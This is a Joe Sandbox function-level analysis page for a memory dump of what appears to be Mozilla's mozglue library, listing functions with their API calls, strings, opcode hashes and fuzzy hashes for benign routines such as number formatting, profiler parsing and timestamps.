MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

expected a Time entry, xrefs: 6C522E36
ProfileBuffer parse error: %s, xrefs: 6C522E3B
(root), xrefs: 6C52354F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

-Infinity, xrefs: 6C539E60, 6C539E7B
NaN, xrefs: 6C539EAB

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C4DDBDD
9, xrefs: 6C4DDE7F
0, xrefs: 6C4DD852
8, xrefs: 6C4DDC08
-, xrefs: 6C4DD7DD
, xrefs: 6C4DDA88
@, xrefs: 6C4DDAF6
0, xrefs: 6C4DDC7F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C549269, 6C545703, 6C545740, 6C5456C7, 6C549459, 6C54921F, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C549269, 6C545703, 6C545740, 6C5456C7, 6C549459, 6C54921F, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

ntdll.dll, xrefs: 6C53C413
NtQueryVirtualMemory, xrefs: 6C53C431

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C4EA625
0, xrefs: 6C4EA100
' , xrefs: 6C4EA3D8
9, xrefs: 6C4EA5D6
0, xrefs: 6C4EAB22
1, xrefs: 6C4EA824

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB
MOZ_CRASH(), xrefs: 6C4F97EA

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C5479C0, 6C547B0B, 6C54793C, 6C547796, 6C5479FB, 6C547E0B

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C5479C0, 6C547B0B, 6C54793C, 6C547C03, 6C5479FB, 6C547C72, 6C547E0B

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
